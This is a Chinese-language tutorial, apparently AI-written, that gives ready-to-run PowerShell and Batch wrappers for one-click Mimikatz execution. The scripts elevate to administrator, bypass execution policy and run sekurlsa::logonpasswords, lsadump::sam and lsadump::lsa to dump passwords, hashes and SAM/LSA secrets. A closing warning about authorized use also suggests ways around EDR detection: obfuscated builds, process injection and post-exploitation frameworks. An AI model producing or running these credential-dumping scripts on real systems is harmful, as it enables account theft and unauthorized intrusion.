Minikatz 本身没有一个官方的、叫做“免参数”的独立版本。

(图片来源网络,侵删)
所谓的“免参数”版本,通常指的是通过 脚本(PowerShell 或 Batch) 来调用 Minikatz 主程序,并预先配置好常用的命令参数,使得最终用户只需要执行一个脚本文件,而无需手动输入任何命令。
这种方法的本质是 “参数封装”,而不是修改 Minikatz 源代码。
为什么需要“免参数”版本?
直接使用 mimikatz.exe 需要输入命令,
mimikatz.exe "privilege::debug" "sekurlsa::logonpasswords" exit
这在某些场景下(如自动化渗透测试、快速信息收集)显得不够高效,而“免参数”脚本可以一键完成这些操作,更加便捷。

(图片来源网络,侵删)
如何创建和使用“免参数”版本?
下面我将提供两种最常见的脚本实现方式:PowerShell 和 Batch (CMD),你可以将 Minikatz 的 mimikatz.exe 文件与这些脚本放在同一个文件夹下使用。
使用 PowerShell 脚本 (推荐)
PowerShell 是现代 Windows 系统的默认脚本环境,功能更强大,也更灵活。
创建脚本文件
新建一个文本文件,命名为 Invoke-Mimikatz.ps1(或者你喜欢的任何名字,但后缀必须是 .ps1),然后将下面的代码粘贴进去。
# ===================================================================
# 一键执行 Mimikatz 的 PowerShell 脚本
# 作者: AI
# 功能: 封装常用 Mimikatz 命令,实现免参数执行
# ===================================================================
# --- 配置区 ---
# 设置 Mimikatz.exe 的文件名
$mimikatzExe = "mimikatz.exe"
# 设置要执行的 Mimikatz 命令
# 注意:命令之间用空格分隔,不要加引号
$mimikatzCommands = "privilege::debug sekurlsa::logonpasswords lsadump::sam lsadump::lsa exit"
# --- 配置区结束 ---
# 检查当前是否拥有管理员权限
if (-NOT ([Security.Principal.WindowsPrincipal] [Security.Principal.WindowsIdentity]::GetCurrent()).IsInRole([Security.Principal.WindowsBuiltInRole] "Administrator")) {
Write-Warning "错误:此脚本需要管理员权限才能运行。"
# 尝试提升权限
try {
Start-Process PowerShell -Verb RunAs -ArgumentList "-NoProfile -ExecutionPolicy Bypass -Command `"cd '$PWD'; & '$PSScriptRoot\$mimikatzExe' $mimikatzCommands`""
} catch {
Write-Error "无法提升权限,请手动以管理员身份运行 PowerShell。"
}
exit
}
# 检查 mimikatz.exe 是否存在
if (-not (Test-Path $mimikatzExe)) {
Write-Error "错误:在当前目录下找不到 '$mimikatzExe' 文件。"
Write-Host "请将 mimikatz.exe 和此脚本放在同一个文件夹下。"
exit
}
Write-Host "正在启动 Mimikatz..." -ForegroundColor Green
Write-Host "执行的命令是: $mimikatzCommands" -ForegroundColor Yellow
# 启动 Mimikatz 并传递命令
# 使用 & 运算符调用,并将命令作为字符串参数传递
& $mimikatzExe $mimikatzCommands
Write-Host "`nMimikatz 执行完毕。" -ForegroundColor Green
使用方法

(图片来源网络,侵删)
- 将上述代码保存为
Invoke-Mimikatz.ps1。 - 将
mimikatz.exe和Invoke-Mimikatz.ps1放在同一个文件夹里。 - 右键点击
Invoke-Mimikatz.ps1,选择 “使用 PowerShell 运行”。 - 如果系统弹出“执行策略”警告,选择“是”或“全部是”即可。
脚本会自动检测管理员权限,并执行 Mimikatz 来抓取密码、哈希、SAM 等信息。
使用 Batch (CMD) 脚本
CMD 脚本兼容性更好,在非常旧的 Windows 系统上也能运行。
创建脚本文件
新建一个文本文件,命名为 run_mimikatz.bat,然后将下面的代码粘贴进去。
@echo off
REM ==================================================================
REM 一键执行 Mimikatz 的批处理脚本
REM 作者: AI
REM 功能: 封装常用 Mimikatz 命令,实现免参数执行
REM ==================================================================
REM --- 配置区 ---
REM 设置 Mimikatz.exe 的文件名
set "MIMIKATZ_EXE=mimikatz.exe"
REM 设置要执行的 Mimikatz 命令
REM 注意:命令之间用空格分隔,不要加引号
set "MIMIKATZ_COMMANDS=privilege::debug sekurlsa::logonpasswords lsadump::sam lsadump::lsa exit"
REM --- 配置区结束 ---
REM 检查是否以管理员身份运行
>nul 2>&1 "%SYSTEMROOT%\system32\cacls.exe" "%SYSTEMROOT%\system32\config\system"
if '%errorlevel%' NEQ '0' (
echo 错误:此脚本需要管理员权限才能运行。
echo.
echo 正在尝试提升权限...
powershell -Command "Start-Process -FilePath '%~f0' -Verb RunAs"
exit /b
)
REM 检查 mimikatz.exe 是否存在
if not exist "%MIMIKATZ_EXE%" (
echo 错误:在当前目录下找不到 "%MIMIKATZ_EXE%" 文件。
echo 请将 mimikatz.exe 和此脚本放在同一个文件夹下。
pause
exit /b
)
echo 正在启动 Mimikatz...
echo 执行的命令是: %MIMIKATZ_COMMANDS%
echo.
REM 启动 Mimikatz 并传递命令
"%MIMIKATZ_EXE%" %MIMIKATZ_COMMANDS%
echo.
echo Mimikatz 执行完毕。
pause
使用方法
- 将上述代码保存为
run_mimikatz.bat。 - 将
mimikatz.exe和run_mimikatz.bat放在同一个文件夹里。 - 右键点击
run_mimikatz.bat,选择 “以管理员身份运行”。
“免参数”版本的优点与缺点
优点
- 便捷性:一键执行,无需记忆复杂的 Mimikatz 命令。
- 自动化:非常适合集成到更大的自动化测试框架或工具链中。
- 可定制性:你可以轻松修改脚本中的
MIMIKATZ_COMMANDS变量,来执行你需要的任何命令组合。 - 权限检查:脚本内置了权限检查和自动提升功能,用户体验更好。
缺点
- 可被检测:这种调用方式和直接运行
mimikatz.exe产生的行为特征(如访问LSASS进程)在安全软件(如 EDR)看来是完全一样的,因此很容易被检测和拦截,它并没有改变 Mimikatz 的本质。 - 命令固化:如果你需要执行脚本未预设的命令,仍然需要手动调用
mimikatz.exe。 - 需要脚本文件:必须额外创建并维护一个脚本文件。
⚠️ 重要安全警告
- 法律风险:Minikatz 是一个功能强大的工具,但常被用于恶意攻击,未经授权在计算机上使用 Minikatz 抓取密码和哈希是非法行为,请仅在拥有明确授权的环境(如你自己的测试机、公司的渗透测试项目)中使用。
- 系统安全:在测试环境中使用后,请确保及时清除痕迹,并修复可能存在的安全漏洞。
- EDR/AV 检测:现代终端安全软件对 Mimikatz 的检测非常成熟,上述方法在大多数受保护的环境中都会被立即发现和阻断,如果你想绕过检测,需要使用更高级的技术,如 Mimikatz 的混淆版本、注入到其他进程(如
rundll32.exe)或使用 PowerShell Empire/Cobalt Strike 等后渗透框架。
“免参数”版本的 Minikatz 本质上是一个包装脚本,它通过将常用命令作为参数传递给 mimikatz.exe,实现了便捷的一键执行,对于渗透测试人员来说,这是一个非常实用的技巧,但请务必在合法合规的前提下使用它,并时刻警惕其可能带来的安全风险。
